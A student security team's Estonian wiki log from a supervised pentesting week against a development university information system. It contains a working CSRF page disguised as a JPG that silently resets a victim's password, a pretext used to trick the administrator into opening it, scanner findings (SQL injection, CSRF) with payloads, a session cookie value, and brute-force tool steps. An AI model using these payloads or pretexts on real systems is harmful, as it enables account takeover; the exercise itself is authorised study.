Otsustasime proovida, kas CSRF nõrkust annaks ära kasutada ka ÕISi administraatori pettes, kui saata talle pildi link, kus tegelikult taga jookseb HTML/JAVASCRIPT koos, mis saadab POST päringu salasõna muutmisega. Selle toimiseks oli eelduseks see, et rünnatav on ründamise hetkel juba dev-ÕISi sisselogitud.&lt;br /&gt;
&lt;br /&gt;
Selle jaoks uurisime välja, kus asub dev-ÕIS&#039;i kasutaja salasõna muutmise vorm ja kuhu saadetakse vormi sisu.&lt;br /&gt;
Vormilt võtsime lähtekoodist (Source Code) vastava koodi välja ja panime eraldi php faili.&lt;br /&gt;
&lt;br /&gt;
Muutsime password ja password_check lahtrite väärtused järgnevaks: &amp;quot;test123&amp;quot; ehk kasutaja uus parool peale rünnakut.&lt;br /&gt;
&lt;br /&gt;
Lahtrites muutsime user_id&#039;d sisaldavad väärtused rünnatava kasutaja user_id vastu, mille saab kätte tudengite/vilistlaste/õppejõudude piltide aadressidelt kätte.&lt;br /&gt;
&lt;br /&gt;
Kõik vormi lahtrite tüübid määrasime peidetud ehk &amp;quot;hidden&amp;quot;, et poleks midagi näidata. &lt;br /&gt;
&lt;br /&gt;
Kuna parooli muutmise formil on küljes ka continue parameeter, mis näitab seda, kuhu kasutaja viiakse peale parooli muutmist. &lt;br /&gt;
Selle muutsime väljalogimise lingiks, et peale POST päringu tegemist suunatakse kasutaja väljalogimise lehele.&lt;br /&gt;
Sellisel juhul ei tule ette teadet, et parooli just muudeti kuskil ja kasutaja enam ei saa oma vana parooliga sisse logida.&lt;br /&gt;
&lt;br /&gt;
Lisasime CSS koodi Submit nupu ära peitmiseks. &lt;br /&gt;
JavaScript koodi, et kui leht on laetud, siis automaatselt vajutataks seda nähtamatut Submit nuppu, et brauser saadaks HTML POST päringu ÕISi poole teele.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Salvestasime faili ära kui &amp;quot;screen1.jpg&amp;quot; fail. Ohver arvab, et tegu on pildiga, kui saadame lingi ja seda veel usaldusväärse aadressi pealt.&lt;br /&gt;
Tegelikult kasutaja ei näe praegu ühtegi pilti ja suunatakse edasi.&lt;br /&gt;
&lt;br /&gt;
Faili sisu:&lt;br /&gt;
&amp;lt;source lang=&amp;quot;html4strict&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;html&amp;gt;&lt;br /&gt;
 &amp;lt;head&amp;gt;&lt;br /&gt;
  &amp;lt;style type=&amp;quot;text/css&amp;quot;&amp;gt;&lt;br /&gt;
	  #Setpassword{ width: 0px; height: 0px; border: none; padding: 0; margin: 0; }&lt;br /&gt;
  &amp;lt;/style&amp;gt;&lt;br /&gt;
 &amp;lt;/head&amp;gt;&lt;br /&gt;
 &amp;lt;body&amp;gt;&lt;br /&gt;
  &amp;lt;body onload=&amp;quot;document.forms.setPasswordForm.submit();&amp;quot;&amp;gt;&lt;br /&gt;
  &amp;lt;form name=&amp;quot;setPasswordForm&amp;quot; id=&amp;quot;setPasswordForm&amp;quot; &lt;br /&gt;
  action=&amp;quot;https://itcollegedev.ois.ee/et/user/set-own-password?user_id=2227&amp;amp;amp;continue=/auth/logout&amp;quot;  &lt;br /&gt;
  method=&amp;quot;post&amp;quot;&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;user_id&amp;quot; value=&amp;quot;2227&amp;quot; id=&amp;quot;user_id&amp;quot; /&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;continue&amp;quot; value=&amp;quot;%2Fet%2Fsetting%3Fuser_id%3D2227&amp;quot; id=&amp;quot;continue&amp;quot; /&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;password&amp;quot; id=&amp;quot;password&amp;quot; value=&amp;quot;test123&amp;quot; /&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;password_check&amp;quot; id=&amp;quot;password_check&amp;quot; value=&amp;quot;test123&amp;quot; /&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;submit&amp;quot; name=&amp;quot;Setpassword&amp;quot; id=&amp;quot;Setpassword&amp;quot; value=&amp;quot;Muuda salasõna&amp;quot; /&amp;gt;&lt;br /&gt;
  &amp;lt;/form&amp;gt;&lt;br /&gt;
 &amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/html&amp;gt;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:Admin_proof.PNG|200px|thumb|right|Ligisaadud adminpaneelile]]&lt;br /&gt;
&lt;br /&gt;
Tegime uue faili htaccess.txt, kuhu panime kirja käsu, mis käivitaks php ja jpg faile kui php failidena.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
AddType application/x-httpd-php .php .jpg&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Laadisime mõlemad failid Enose veebiserverisse avalikult. &lt;br /&gt;
&lt;br /&gt;
Tegime enda kontode peal katsed, et kõik toimiks nii nagu vaja ja ega probleeme ei teki. &lt;br /&gt;
Peale seda juhendaja Mart Manguse abiga saime ÕISi adminnile Valter Kunglale väikese test-rünnaku teha.&lt;br /&gt;
Mart Mangus üritas seletada, et hinnetelehel on midagi viga ja palus, et Valter vaataks asja üle. &lt;br /&gt;
Sellega saavutasime selle, et Valter logis dev-ÕISi sisse oma kontoga.&lt;br /&gt;
Valter ütles, et ta ei näe midagi viltu ja selle peale saatsime talle nii nimetatud screenshoti, mille taga oli tegelt meie koodiga screen1.jpg fail. &lt;br /&gt;
Kui see fail käivitati, siis Valter Kungla parool muudeti ära ja logiti süsteemist välja. &lt;br /&gt;
Tol hetkel, täpselt ennem väljalogimist ja ümbersuunamist, muutus tema parool meie pantud &amp;quot;test123&amp;quot;-ks ja me saime ligipääsu administraatori õigustes kontole. &lt;br /&gt;
Rünnak oli edukas.&lt;br /&gt;
[[File:Pass fixed.PNG|200px|thumb|right|Dev_OIS fixed]]&lt;br /&gt;
&lt;br /&gt;
Andsime teada Valterile teada, et tegelikult tegime salajase ründe. &lt;br /&gt;
Suhteliselt koheselt oli Valteril see CSRF ründe vastu dev-ÕIS ära parandatud, kuna tal oli juba koodiparandus olemas aga lihtsalt rakendamata ja me tabasime ajaliselt viimase hetke ära, kus seda rünnet sai teha. &lt;br /&gt;
Peale parandust enam see rünne läbi ei läinud ja süsteem hõiskab vastu, et tegu on ründe või mõne bug&#039;iga.&lt;br /&gt;
&lt;br /&gt;
Kuna tegu oli ÕIS&#039;i arendusversiooniga, siis oli serveris oli lubatud ka error_reporting, mis annab välja ka pildil oleva errorite jada.&lt;br /&gt;
Error Reporting on maha keeratud Live keskkonnas ja seal sellist pikka keerulist koodijada veateadetega ette ei tule ning saadetakse teade arendajatele automaatselt.&lt;br /&gt;
&lt;br /&gt;
=== Taavi tegevus ===&lt;br /&gt;
====Burp suite====&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Esimese asjane peale Burp suite käivitamist. Tabilt proxy  -&amp;gt;intercept -&amp;gt;intercept off&amp;lt;br&amp;gt;&lt;br /&gt;
Järgnevalt seadistada proxy enda veebiprauserist (mõistlik panna localhost aadress 127.0.0.1 port 8080 ning lülitada sisse ka ssl proxy)&amp;lt;br&amp;gt;&lt;br /&gt;
Proxy  -&amp;gt; options alt lülitada sisse proxy listner pordile 8080 .&amp;lt;br&amp;gt;&lt;br /&gt;
Ohvri valimine &amp;lt;br&amp;gt;&lt;br /&gt;
Valida intruder -&amp;gt; target ning sinna sisestada veebileht mida on plaanis uurida https lehe korral lülitada sisse ssl ning pordiks valida 443.&amp;lt;br&amp;gt;&lt;br /&gt;
Kui on tarvis lehte ka sisse logituna uurida siis tuleb seadistada järgmised parameetrid.&amp;lt;br&amp;gt;&lt;br /&gt;
Valida Options tab sealt sisse lülitada www authentication ning täita all olevad read.&amp;lt;br&amp;gt;site mida rünnatakse tema tüüp(üldiselt basic), login, parool ning valida add.&lt;br /&gt;
Kui on soov sooritada veebilehe sipderingi siis tuleb excludida ka logout käsud.&amp;lt;br&amp;gt;&lt;br /&gt;
Targer-&amp;gt;scope -&amp;gt; exclude  frome scope ja veenduda at välja on arvatud logout laused.&amp;lt;br&amp;gt;&lt;br /&gt;
Spideringi sisselülitamine &amp;lt;br&amp;gt;&lt;br /&gt;
Valida tab Spide ning sealt panna linnuke kasti spider running.&amp;lt;br&amp;gt;&lt;br /&gt;
Ning oledki valmis saama laheküljelt infot.&amp;lt;br&amp;gt;&lt;br /&gt;
Tööriistal on veel tohutu hulk seadistus võimalusi, aga kahjuks ajanappuse tõttu ei jõudnud nende kõikidega tutvuda.&amp;lt;br&amp;gt;&lt;br /&gt;
Tööriis ei ole mõeldud algajatele, kuid teda tundma õppides on võimailik sooritada keerukaid operatsioone. Suurim nõrkus sellel programmil on see, et ta otsing ei näita ära nõrkasid kohti veebilehel vaid need tuleb ise koodist ülesse otsida.&lt;br /&gt;
&lt;br /&gt;
====Nessuse algkäivitamine====&lt;br /&gt;
Valida backtrackist  vulnerability scannerite alt nessus ning edasi nessus register .&amp;lt;br&amp;gt; Täite ära vajalikud read veebilehel ning mailile saadetakse aktiveerimis kood.&amp;lt;br&amp;gt; Järgnevalt avada termnal ning sisestada käsk : /opt/nessus/bin/nessus –fetch –register **********(tärnide asemele meilile saadetud kood)&amp;lt;br&amp;gt;&lt;br /&gt;
Nüüd läheb aega kuni nessus updatedakse (ole valmis ootama võtab tükk aega.)&amp;lt;br&amp;gt;&lt;br /&gt;
Järgnevalt käivitada nessus user add ning sinna sisestada soovitav kasutajanimi nessusele, kui küsitakse kas admin konto siis sisestada y. Kõik on korras kui tuleb ette kiri user added.&amp;lt;br&amp;gt;&lt;br /&gt;
Järgnevalt valida nessus start.&amp;lt;br&amp;gt;&lt;br /&gt;
Et nessusesse siseneda veebibrauseri URL i kirjutada 127.0.0.1:8834 &lt;br /&gt;
Siis avaneb leht kus tuleb vajutada lehe alaosas olevale lingile mis suunab https leheküljele.&amp;lt;br&amp;gt;&lt;br /&gt;
Antud tööriist ei ole just kõige sobilikum veebilehtede testimiseks.&lt;br /&gt;
&lt;br /&gt;
=== Matise tegevus ===&lt;br /&gt;
&lt;br /&gt;
==Väike upload tegevus, mis võiks olla teisiti==&lt;br /&gt;
Ajal mil on avatud stipendiumi taotlemine on võimalik uploadida üles dokumente, et anda lisainformatsiooni abitoetuse taotlemiseks.&lt;br /&gt;
Testimisel selgus, et hetkel üles on võimalik üles laadida ükskõik mis laiendiga faile.&lt;br /&gt;
Proovisime üles laadida: &lt;br /&gt;
&amp;lt;li&amp;gt;filmi&lt;br /&gt;
&amp;lt;li&amp;gt;exe &lt;br /&gt;
&amp;lt;li&amp;gt;jpm faile &lt;br /&gt;
&amp;lt;br&amp;gt;kõik läks läbi ja sai uploadida.&lt;br /&gt;
&amp;lt;br&amp;gt;Sellises kohas võiks olla süsteem tehtud &amp;lt;b&amp;gt;whitelisti&amp;lt;/b&amp;gt; põhimõttel,&lt;br /&gt;
&amp;lt;br&amp;gt;et lubatud oleks ainult: &lt;br /&gt;
&amp;lt;li&amp;gt;.doc &lt;br /&gt;
&amp;lt;li&amp;gt;.docx &lt;br /&gt;
&amp;lt;li&amp;gt;.pdf &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Sanderi tegevus ===&lt;br /&gt;
[[File:W3af skanner.png|150px|thumb|w3af skänni seaded]]&lt;br /&gt;
Backtarcki keskkonnas sai testitud programmi w3af.&lt;br /&gt;
&lt;br /&gt;
==== Backtrack: w3af ====&lt;br /&gt;
[[File:Basic HTTP Auth.png|150px|thumb|w3af Basic HTTP Auth]]&lt;br /&gt;
[[File:ÕISi küpsis.png|150px|thumb|Mozilla Firefox küpsis]]&lt;br /&gt;
[[File:W3af_Cookie.png|150px|thumb|w3af Cookie]]&lt;br /&gt;
Võimalik kätte saada SSL Certificate.&lt;br /&gt;
Aadressiribalt leitud sisselogimis-aadressiga sisse logimine ei õnnestunud:&lt;br /&gt;
  https://itcollege.dev.ois.ee/auth/login?continue=/auth/login?&lt;br /&gt;
  username=&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;KASUTAJANIMI&amp;lt;/font&amp;gt;&amp;amp;continue=&amp;amp;Login=Logi sisse&amp;amp;pw=&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;PAROOL&amp;lt;/font&amp;gt;&lt;br /&gt;
Programmi sisestatud andmetega ka mitte:&lt;br /&gt;
  Configuration -&amp;gt; HTTP Config -&amp;gt; Basic HTTP Authentication:&lt;br /&gt;
    basicAuthUser: &amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;KASUTAJANIMI&amp;lt;/font&amp;gt;&lt;br /&gt;
    basicAuthPass: &amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;PAROOL&amp;lt;/font&amp;gt;&lt;br /&gt;
    basicAuthDomain: http://itcollege.dev.ois.ee&lt;br /&gt;
Mozilla Firefoxi küpsis õnnestus luua Töölauale hetkel sisse logitud sessiooni ID-ga. Programmi küpsise sisestamine:&lt;br /&gt;
  Configuration -&amp;gt; HTTP Config -&amp;gt; Cookies&lt;br /&gt;
    cookieJarFile: /root/Desktop/&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;ois_cookie.txt&amp;lt;/font&amp;gt;&lt;br /&gt;
Seda loodud sessiooni ID-ga küpsist kasutada algul ei õnnestunud. Ilmselt oli midagi valesti. Õige on:&lt;br /&gt;
  # Netscape HTTP Cookie File&lt;br /&gt;
  .dev.ois.ee	TRUE	/	FALSE	1731510001	itcollege_OIS_SESSION_ID	&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;870aqllryuw3cmf6cv8ellha03&amp;lt;/font&amp;gt;&lt;br /&gt;
Esimene rida on nõutav! Teiste tähendused:&lt;br /&gt;
  domain - The domain that created and that can read the variable.&lt;br /&gt;
  flag - A TRUE/FALSE value indicating if all machines within a given domain can access the variable.&lt;br /&gt;
    This value is set automatically by the browser, depending on the value you set for domain.&lt;br /&gt;
  path - The path within the domain that the variable is valid for.&lt;br /&gt;
  secure - A TRUE/FALSE value indicating if a secure connection with the domain is needed to access the variable.&lt;br /&gt;
  expiration - The UNIX time that the variable will expire on.&lt;br /&gt;
  name - The name of the variable.&lt;br /&gt;
  value - The value of the variable.&lt;br /&gt;
Küpsis on leitav Mozilla Firefoxis peale itcollege.dev.ois.ee-s oma kasutajaga sisse logimist:&lt;br /&gt;
  Edit -&amp;gt; Preferences -&amp;gt; Privacy -&amp;gt; History -&amp;gt; remove individual cookies&lt;br /&gt;
    Search: itcollege.dev.ois.ee&lt;br /&gt;
    Leitud valiku all Cookie Name: itcollege_OIS_SESSION_ID&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Skänneerimine:&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;The page language is: en&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;The URL: &amp;quot;https://itcollege.dev.ois.ee/&amp;quot; has a &amp;quot;&amp;lt;form&amp;gt;&amp;quot; element with auto-complete enabled.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;A comment with the string &amp;quot;&amp;lt;p&amp;amp;gt;tunne end kui koolis&amp;lt;/p&amp;amp;gt;&amp;quot; was found in: &amp;quot;https://itcollege.dev.ois.ee/&amp;quot;.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Found a form login. The action of the form is: &amp;quot;https://itcollege.dev.ois.ee/auth/login&amp;quot;.&amp;lt;/li&amp;gt;&lt;br /&gt;
  The username field to be used is: &amp;quot;username&amp;quot;.&lt;br /&gt;
  The password field to be used is: &amp;quot;pw&amp;quot;.&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;Found authentication credentials to: &amp;quot;https://itcollege.dev.ois.ee/auth/login&amp;quot;. A correct user and password combination is: Administrador/6666666&amp;lt;/font&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
  Antud kasutaja ja parooliga sisse ei saanud.&lt;br /&gt;
&amp;lt;li&amp;gt;The URL: &amp;quot;https://itcollege.dev.ois.ee/&amp;quot; returned a response that may contain a &amp;quot;SHA1&amp;quot; hash. The hash is: &amp;quot;c7b39896de5f296b5a44c2dfcd9f0600b2cf424d&amp;quot;. This is uncommon and requires human verification.&amp;lt;/li&amp;gt;&lt;br /&gt;
  Taolisi ja MD5 hashiga ridu leiti 355. Kõik vajavad inimese kontrolli.&lt;br /&gt;
&amp;lt;li&amp;gt;The URL: &amp;quot;https://itcollege.dev.ois.ee/&amp;quot; sent these cookies:&amp;lt;/li&amp;gt;&lt;br /&gt;
  itcollege_OIS_SESSION_ID=lm8llh4i3k2yj4d7rho6791u05; path=/&lt;br /&gt;
  itcollege_OIS_SESSION_ID=lm8llh4i3k2yj4d7rho6791u05; Path=/&lt;br /&gt;
&amp;lt;li&amp;gt;The SMTP settings in emailReport plugin seem to be incorrect. Original error: &amp;quot;[Errno 111] Connection refused&amp;quot;.&amp;lt;/li&amp;gt;&lt;br /&gt;
  Kui tuleb see veateade, siis skänn katkeb.&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;The following scripts allow an attacker to send POST data as query string data (this makes XSRF easier to exploit):&amp;lt;/font&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
  The URL: https://itcollege.dev.ois.ee/auth/openid-login is vulnerable to cross site request forgery.&lt;br /&gt;
    It allows the attacker to exchange the method from POST to GET when sending data to the server.&lt;br /&gt;
  The URL: https://itcollege.dev.ois.ee/auth/id-login is vulnerable to cross site request forgery.&lt;br /&gt;
    It allows the attacker to exchange the method from POST to GET when sending data to the server.&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;SQL injection in a Unknown database was found at: &amp;quot;https://itcollege.dev.ois.ee/auth/login&amp;quot;, using HTTP method POST.&amp;lt;/font&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
  The sent post-data was: &amp;quot;username=John8212&amp;amp;security_key_sis_global=d&#039;z&amp;quot;0&amp;amp;Login=Logi%20sisse&amp;amp;continue=56&amp;amp;pw=FrAmE30.&amp;quot;.&lt;br /&gt;
    The modified parameter was &amp;quot;security_key_sis_global&amp;quot;. This vulnerability was found in the request with id 390.&lt;br /&gt;
&amp;lt;li&amp;gt;Leidis ka otsirobotitele mõeldud faili: https://itcollege.dev.ois.ee/robots.txt&amp;lt;/li&amp;gt;&lt;br /&gt;
  User-agent: *&lt;br /&gt;
  Disallow: /&lt;br /&gt;
  Allow: /curriculum&lt;br /&gt;
  Allow: /subject&lt;br /&gt;
  Allow: /diploma&lt;br /&gt;
  Allow: /schedule/ical&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== 4. päev - Presentatsiooni tegemine ja esitlemine ==&lt;br /&gt;
&lt;br /&gt;
Koostasime presentatsiooni ja esitlemine.&lt;br /&gt;
&lt;br /&gt;
[[Media:Security_team_presentation.ppt]]&lt;br /&gt;
&lt;br /&gt;
== Arvamused intensiivõppe nädala kohta ==&lt;br /&gt;
&lt;br /&gt;
Sander: Õppisime erinevaid testprogramme ja testkeskkondi kasutama, mida varem kunagi kasutanud polnud. Suutsime avastada nii mõnegi vea, mida varem avastatud ei olnud. Usun, et ÕIS on nüüd kasvõi veidigi turvalisem. Soovitan ka teistele tudengitele intensiivõppenädalal osalemist, kuna valides õige teema võib olla päris huvitav tegeleda millegagi, mida varem teinud pole või mida tegelikult lihtsalt ei ole lubatud teha.&lt;br /&gt;
&lt;br /&gt;
Urmo: Intensiivõppe nädalaga sai õpitud nii mõndagi huvitavat veebiturve ja selle testimise kohta. Kuna aega oli vähe, siis sai hulgaliselt kogemust ja oskust reaalselt planeerida mahukat tööd täiesti nullist kuni reaalse rakendatava tulemuseni ning pani proovile stressitaluvuse tõestamaks pinge all jätkusuutlikku töötamist. Intensiivõppe nädalal võiksid osaleda kõik, kellel väheke tahtmist midagi uurida ja korda saata ning saada reaalset töökogemust ennem töömaailma sukeldumist.&lt;br /&gt;
&lt;br /&gt;
== Tegijad ==&lt;br /&gt;
Alo Konno A21&lt;br /&gt;
&lt;br /&gt;
Urmo Lihten A21&lt;br /&gt;
&lt;br /&gt;
Taavi Podžuks A22&lt;br /&gt;
&lt;br /&gt;
Matis Alliksoo A22&lt;br /&gt;
&lt;br /&gt;
Sander Saarm A22&lt;br /&gt;
&lt;br /&gt;
== Juhendajad ==&lt;br /&gt;
Mart Mangus&lt;br /&gt;
&lt;br /&gt;
Margus Ernits&lt;br /&gt;
&lt;br /&gt;
Valter Kungla&lt;/div&gt;</summary>
		<author><name>Ulihten</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Security_team&amp;diff=47062</id>
		<title>Security team</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Security_team&amp;diff=47062"/>
		<updated>2012-03-30T20:48:50Z</updated>

		<summary type="html">&lt;p&gt;Ulihten: /* Burp suite */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== 1. päev - Materjalidega tutvumine ==&lt;br /&gt;
&lt;br /&gt;
https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project&lt;br /&gt;
&lt;br /&gt;
    A1: Injection - Urmo&lt;br /&gt;
    A2: Cross-Site Scripting (XSS) - Alo&lt;br /&gt;
    A3: Broken Authentication and Session Management - Sander&lt;br /&gt;
    A4: Insecure Direct Object References - Alo&lt;br /&gt;
    A5: Cross-Site Request Forgery (CSRF) - Taavi&lt;br /&gt;
    A6: Security Misconfiguration - Matis&lt;br /&gt;
    A7: Insecure Cryptographic Storage - Matis&lt;br /&gt;
    A8: Failure to Restrict URL Access - Urmo&lt;br /&gt;
    A9: Insufficient Transport Layer Protection - Taavi&lt;br /&gt;
    A10: Unvalidated Redirects and Forwards - Sander&lt;br /&gt;
&lt;br /&gt;
Sanderi konspekt: [[Media:Ois_materjal.pdf]] &amp;lt;br&amp;gt;&lt;br /&gt;
Urmo esitlus: [[Media:Injection-Failure_URL_access.ppt]] &amp;lt;br&amp;gt;&lt;br /&gt;
Taavi esitlus [[Media:A9.pdf]] &amp;lt;br&amp;gt;&lt;br /&gt;
Taavi esitlus [[Media:A5.pdf]] &amp;lt;br&amp;gt;&lt;br /&gt;
Matise esitlus [[Media:Insecure Cryptographic Storage.pdf]] &amp;lt;br&amp;gt;&lt;br /&gt;
Matise esitlus [[Media:Security Misconfiguration.pdf]] &amp;lt;br&amp;gt;&lt;br /&gt;
Alo Esitlus: [[Media:Cross-site_scripting_(XSS).ppt]] &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== 2. päev - Nõrkuste ja rünnete tundmaõppimine ja katsetamine==&lt;br /&gt;
===Security Team tegevusplaan===&lt;br /&gt;
1.	Päev&lt;br /&gt;
 1.1	Tutvuda OWASP’iga. &lt;br /&gt;
 1.2	Tutvuda OWASP’i aasta 2010 TOP 10 veebirakenduse turvariskidega.&lt;br /&gt;
 1.3	Iga grupiliige teeb 2 turvariski kohta väikese tutvustava ettekande.&lt;br /&gt;
2.	Päev&lt;br /&gt;
 2.1	Esitada tiimi tegevusplaan.&lt;br /&gt;
 2.2	Tutvuda turvariskidega natuke põhjalikumalt.&lt;br /&gt;
 2.3	Tutvuda ja katsetada erinevaid pen-testingu tööriistasid – BackTrack ja SamuraiCD võimalused.&lt;br /&gt;
 2.4	Täiendada esimese päeva ettekannet.&lt;br /&gt;
3.	Päev&lt;br /&gt;
 3.1	Alustada dev-ÕISi peal turvariskide leidmist – samuti iga grupi liige testib/katsetab 2 turvariski ekspluateerimist.&lt;br /&gt;
 3.2	Saadud tulemuste dokumenteerimine.&lt;br /&gt;
4.	Päev&lt;br /&gt;
 4.1	Saadud tulemuste esitlemine ettekandega&lt;br /&gt;
5.	Päev&lt;br /&gt;
 5.1	Tulemuste parandamine wiki’s.&lt;br /&gt;
&lt;br /&gt;
=== Alo tegevus ===&lt;br /&gt;
&lt;br /&gt;
http://www.acunetix.com/support/vulnerability-checks.htm&lt;br /&gt;
http://projects.webappsec.org/w/page/13246920/Cross%20Site%20Scripting&lt;br /&gt;
http://wiki.developerforce.com/page/Secure_Coding_Cross_Site_Scripting&lt;br /&gt;
http://www.youtube.com/watch?v=SG1cvGQ971g&lt;br /&gt;
http://www.isecom.org/research.html&lt;br /&gt;
http://evuln.com/tools/&lt;br /&gt;
http://sectools.org/tag/web-scanners/&lt;br /&gt;
http://www.webresourcesdepot.com/10-free-web-application-security-testing-tools/&lt;br /&gt;
http://www.acunetix.com/vulnerability-scanner/getting-started.htm&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Internetist sai otsitud parimat Windowsi automaatskännerit ja selleks osutus:&lt;br /&gt;
Acunetix Web Vulnerability Scanner v. 8&lt;br /&gt;
http://www.acunetix.com/vulnerability-scanner/&lt;br /&gt;
&lt;br /&gt;
Pärast programmi installimist tuli seadistada skännimine, valisime keskmie põhjalikkusega skänni.&lt;br /&gt;
Erinevalt teistest automaatskännidest sai sellel lihtsamalt seadistatud sisselogimine ja lisaks sai paika panna ka, et ta arvestaks välja Log out lingi.&lt;br /&gt;
Antud programm võimaldab skännida:&lt;br /&gt;
Cross-Site Scripting (XSS)&lt;br /&gt;
SQL Injection (blind test)&lt;br /&gt;
File inclusion&lt;br /&gt;
Code Execution&lt;br /&gt;
LDAP Injection&lt;br /&gt;
Cross Frame Scripting&lt;br /&gt;
SQL Injection (error msg. test)&lt;br /&gt;
CRLF Injection&lt;br /&gt;
Directory Travelsal&lt;br /&gt;
XPath Injection&lt;br /&gt;
URL Redirection&lt;br /&gt;
Application Error Message&lt;br /&gt;
&lt;br /&gt;
Kuna skänner skännib väga põhjalikult ja teskeskonnal ei töötanud täsvõimsusel oli ping väga suur ja skänn tegi vähe päringuid tunnis siis oleks täisskänni ajaliselt paar päeva.&lt;br /&gt;
&lt;br /&gt;
=== Urmo tegevus ===&lt;br /&gt;
&lt;br /&gt;
Kasutan BackTrack 5 R2 64bit Gnome ja Samurai CD 0.9.9 operatsioonisüsteeme katsetamaks ja uurimaks erinevate veebilehtede turvariskide ära kasutamist.&lt;br /&gt;
&lt;br /&gt;
Pandud tööle Samurai ja kasutatud Damm Vurnelable Web Application&#039;i.&lt;br /&gt;
&lt;br /&gt;
==== Brute Force (DVWA) ====&lt;br /&gt;
Käsitsi välja uuritud login andmed:&lt;br /&gt;
kasutajanimi: admin&lt;br /&gt;
parool: password&lt;br /&gt;
&lt;br /&gt;
===== Fireforce plugin Firefoxis =====&lt;br /&gt;
Tekitatud sai ka password list faili pass.txt.&lt;br /&gt;
&lt;br /&gt;
Kasutusel oli Firefox brauser, kuhu installisime plugin&#039;a Fireforce. &lt;br /&gt;
Siin kasutasime Youtube õpetust: http://youtu.be/lmgMXhM01fY .&lt;br /&gt;
&lt;br /&gt;
Panime kasutajanimeks &amp;quot;admin&amp;quot; ja paroolilahtris parema klõpsuga valisin Fireforce menüüst Library, ning laadisin talle pass.txt faili sisse.&lt;br /&gt;
Küsiti veel, et mis teksti veebilehelt peab otsima, kui sisselogimine on ebaõnnestunud. &lt;br /&gt;
Selleks sai sõna &amp;quot;incorrect&amp;quot;.&lt;br /&gt;
Määrata ära tuli ka, et mitu päringut sekundis tehakse. &lt;br /&gt;
Panime 10 aga kuna veebileht ei jõua sekundis nii palju ennast kuvada. &lt;br /&gt;
Päringute tegemise kiirus vähem kui 1 päring/sekundis.&lt;br /&gt;
&lt;br /&gt;
Töötavat tulemust me ei saanud, kuna õigest paroolist mindi üle pidevalt.&lt;br /&gt;
Kasutasime ka videos näidatud &amp;quot;@ DICTIONARY&amp;quot; teksti ühes lahtris ja siis plugin ei tahtnud üldse proovida ja lasi kõik katsed üle mingil põhjusel.&lt;br /&gt;
&lt;br /&gt;
Kuna me seda lahendust ei saanud tööle, siis sai proovitud ka BurpSuite programmi.&lt;br /&gt;
&lt;br /&gt;
===== Burpsuite v1.4 =====&lt;br /&gt;
Burpsuite v1.4 on Samurai WTF&#039;il olemas juba sees ja saab kohe käima panna.&lt;br /&gt;
[[File:Bp2naide.jpg|200px|thumb|right|BurpSuite näidis screenshot UI&#039;st]]&lt;br /&gt;
&lt;br /&gt;
Programm on juba loomult keerulisem. &lt;br /&gt;
Burpsuite&#039;iga tuleb panna käima proxy server localhost&#039;is ja brauser määrata kasutama seda proxy serverit aadressil 127.0.0.1:8080.&lt;br /&gt;
Kui ligipääs on rünnatavale lehele on olemas, siis teha prooviks üks väär sisselogimine. &lt;br /&gt;
Läbi proxy serveri tuleb BurpSuite&#039;ile kohale vastava veebilehe Header sisselogimise kohta.&lt;br /&gt;
Headeris tuleb payloadi positsioonid ära määrata, kuhu see hakkab nimekirja alusel igat sõna panema.&lt;br /&gt;
Payload&#039;i positsioonideks Headeris on username ja password lahtrid ning nendesse jätta ainult 2 paragrahvi tähemärki.&lt;br /&gt;
Ründe stiiliks määrata Pitchfork.&lt;br /&gt;
Mõlema payloadi positioni kohta tuleb ära määrata sõnade listid, mida programm hakkab kasutama.&lt;br /&gt;
Optioniste alt tuleb üle kontrollida ka sõnad, mida jälgitakse ebaõnnestunud sisselogimiste korral ja lubaksid järgmisi katseid.&lt;br /&gt;
